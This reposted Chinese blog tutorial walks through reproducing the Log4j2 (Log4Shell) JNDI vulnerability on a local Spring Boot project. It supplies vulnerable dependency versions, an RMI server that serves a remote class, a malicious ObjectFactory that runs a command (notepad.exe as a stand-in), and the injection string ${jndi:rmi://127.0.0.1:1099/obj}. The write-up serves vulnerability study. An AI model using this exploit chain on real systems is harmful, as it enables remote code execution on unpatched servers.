注:本文仅供参考学习,不构成任何犯罪引导
相信就在最近两天,不少IT圈的都在因为Log4j2,忙前忙后排查项目吧?
写JAVA的都知道,Log4j是用来记录日志的,它的覆盖率之广以至于此次受影响的范围可以说是核弹级别的影响了。
这个漏洞其实是取决于Log4j的一种Lookup机制,就是当我们做日志输出,出现占位符的时候,通过一些特殊的命令符号,可以执行一些程序代码。
接下来我们就来复现所谓的Log4j2是如何执行攻击的,这里博主用本地的项目来给大家复现一下。
由于博主的本地项目springBoot版本会自动引入spring-boot-starter-logging依赖,首先我们要对其去除,如下:
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
<exclusions>
<exclusion>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-logging</artifactId>
</exclusion>
</exclusions>
</dependency>
其次是引入我们的Log4j依赖包,注:受影响的范围为Apache Log4j 2.x <= 2.14.1
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.13.3</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.13.3</version>
</dependency>
其次,配置我们的Log4j.xml,就是一个最简单的输出配置,代码如下:
<?xml version="1.0" encoding="UTF-8"?>
<Configuration status="WARN">
<Appenders>
<Console name="Console" target="SYSTEM_OUT">
<ThresholdFilter level="info" onMatch="ACCEPT" onMismatch="ACCEPT"/>
<PatternLayout pattern="%d{yyyy-MM-dd HH:mm:ss.sss} %-5level %L %M - %msg%xEx%n"/>
</Console>
</Appenders>
<Loggers>
<logger name="com.example" lecel="info"/>
<root level="info">
<AppenderRef ref="Console"/>
</root>
</Loggers>
</Configuration>
至此漏洞的执行环境就已经配置完毕了。
博主在本地新建一个项目,并编写如下代码,编写完毕以后执行即可。
public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
Registry registry = LocateRegistry.createRegistry(1099);
Reference reference = new Reference("Attack","Attack","http://127.0.0.1:80/");
ReferenceWrapper wrapper = new ReferenceWrapper(reference);
registry.bind("obj",wrapper);
System.out.println("server is running");
}
如上代码块中Attack就是我们要执行的攻击代码。
启动完成以后就可以一直挂载我们待会使用。
攻击代码Attack是一个被编译好了的Java文件,也就是一个Class文件。
我们将编译好的攻击class文件放在nginx目录下,纯编译文件,不带你IDEA的路径。如下图:
攻击代码如下,不做真正的攻击,就简单打开一个记事本。代码如下:
public class Attack implements ObjectFactory{
public Attack(){}
public Object getObjectInstance(Object obj, Name name, Context context, Hashtable hashtable) throws Exception{
System.out.println("I am coming...");
// 打开本地记事本
// 实际攻击行为就不用我多说了,大家可以自行脑补
Process process = Runtime.getRuntime().exec("notepad.exe");
return null;
}
}
将此代码编译完成以后的class文件放进目录即可。
我们将本地项目的代码修改为由log4j打印日志输出,这里博主选用的是《杂货铺项目》中注册界面的邮箱验证时,使用log4j去输出日志。具体代码如下:
如上代码,我们为何要设置System.setProperty(“com.sun.jndi.rmi.object.trustURLCodebase”, “true”);?
这是因为JDK 5 U45,JDK 6 U45,JDK 7u21,JDK 8u121开始java.rmi.server.useCodebaseOnly默认配置已经改为true,不用自行设置。
但是JDK 6u132, JDK 7u122, JDK 8u113开始com.sun.jndi.rmi.object.trustURLCodebase默认值已改为了false。
这里博主用的JDK版本较高,所以必须手动设置一下,如果你的JDK版本较低的话可以忽略。
至于具体原因以及它的作用感兴趣的可以自行了解一下。
在邮箱输入框中,我们输入如下参数,${jndi:rmi://127.0.0.1:1099/obj},然后点击发送验证码。
执行结果展示为:
我们再来看看在项目中的日志,你会惊讶地发现,攻击程序已经在你的项目中执行了!
如上原理,攻击者在攻击代码中可以编写任意攻击代码,在对应环境下的任何线上JAVA且使用了Log4j2的项目中执行,你说,恐怖不恐怖?
版权说明 : 本文为转载文章, 版权归原作者所有 版权申明
原文链接 : https://blog.csdn.net/qq_51250453/article/details/121887342
内容来源于网络,如有侵权,请联系作者删除!